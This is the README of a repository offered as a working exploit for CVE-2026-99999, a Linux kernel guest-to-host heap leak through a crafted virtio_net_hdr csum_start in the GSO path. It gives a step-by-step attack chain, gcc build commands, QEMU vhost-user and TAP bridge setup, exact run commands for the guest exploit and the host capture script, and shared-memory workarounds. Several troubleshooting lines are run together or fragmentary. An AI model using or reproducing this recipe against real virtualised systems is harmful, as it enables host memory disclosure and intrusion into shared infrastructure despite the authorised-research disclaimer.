
PoC funcional de CVE-2026-99999 — escape real de VM para el fallo csum_start del kernel de Linux (CVSS 9.3). Fuga de heap de Guest a Host. Véase también: CVE-2026-99999-analysis (Educativo).
⚠️ Este es un repositorio de exploits funcional. Contiene código de exploit real que desencadena la vulnerabilidad CVE-2026-99999 en un entorno KVM/QEMU activo.
📚 Para una simulación segura y exclusivamente local de la misma cadena de ataque, consulta CVE-2026-99999-analysis (sin root, sin red, Python puro — ideal para entender el fallo sin un laboratorio).
CVE-2026-99999 — Error de validación de csum_start en IPv4 del kernel de Linux en la ruta de
segmentación GSO. Una VM invitada puede filtrar ~32–64 bytes de memoria del heap del kernel anfitrión
por cada fragmento de paquete saliente.
CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Kernels afectados: Todos anteriores a los commits de corrección:
5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+Modelo de atacante: Código sin privilegios dentro de una VM invitada KVM.
.
├── README.md ← This file
├── guest/
│ ├── exploit_guest.c ← Exploit (guest side)
│ ├── Makefile
│ └── README.md
└── host/
├── receive_and_dump.py ← Leak detector (host side)
└── setup_bridge.sh ← TAP bridge setup (host side)
1. GUEST: build_crafted_packet()
└── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
↑
csum_start=0 → points at IP header, NOT transport header
2. GUEST → QEMU (vhost-user)
└── Guest enqueues packet via TX virtqueue
└── QEMU reads descriptor → pulls malicious frame
3. HOST KERNEL: GSO segmentation path
└── skb_checksum_help() reads csum_start (0) and csum_offset (0)
└── Writes checksum result to byte 0 = IHL byte
4. HOST KERNEL: IHL corruption
└── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)
5. HOST KERNEL: ip_do_fragment() OOB read
└── Reads 60 bytes of "IP header" when only 20 bytes exist
└── Bytes 20-60 are adjacent host-kernel heap memory!
6. HOST: Outbound fragment
└── Each fragment contains ~32-64 bytes of host-kernel heap memory
└── Captured by receive_and_dump.py on the host bridge
# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help
Requiere:
-netdev vhost-user,...memfd o tmpfs# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
-m 2G -smp 2 \
-hda /path/to/guest.img \
-netdev vhost-user,id=net0,chardev=char0 \
-device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
-chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
-enable-kvm \
-nographic
# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v
Requiere:
CAP_NET_RAW en el invitadobridge-nf-call-iptables=1 en el host (para la ruta GSO)# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose
# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v
El exploit requiere que QEMU pueda leer la memoria de la virtqueue TX del invitado. Sin memoria compartida, QEMU no puede leer los descriptores — los paquetes se encolan pero nunca se transmiten.
Para las pruebas, utilice una de las siguientes opciones:
# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU
# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region
# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE
El disparador de la CVE requiere que el kernel del host procese la trama a través de la ruta de segmentación GSO. Esto ocurre cuando:
IP_MF (More Fragments) establecido — forzando la fragmentaciónEl exploit establece IP_MF en cada paquete para garantizar la segmentación GSO.
El detector del lado del host (receive_and_dump.py) identifica CVE-2026-99999 mediante:
version_ihl & 0x0F > 5)guest/exploit_guest.c ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh ← TAP bridge setup helper script
vhost-user y de que el socket existels -la /tmp/vhost.sock-device virtio-net-pci,netdev=net0,csum=off,host_csum=off — habilita, no deshabilitesuname -rIP_MF se está estableciendo en los paquetes salientessudosudo para la captura de paquetes y la configuración de TAPÚnicamente para investigación de seguridad autorizada en entornos de laboratorio aislados. El uso no autorizado contra sistemas que no posees o para los que careces de permiso por escrito para probar es ilegal. Los autores no aceptan ninguna responsabilidad por el uso indebido.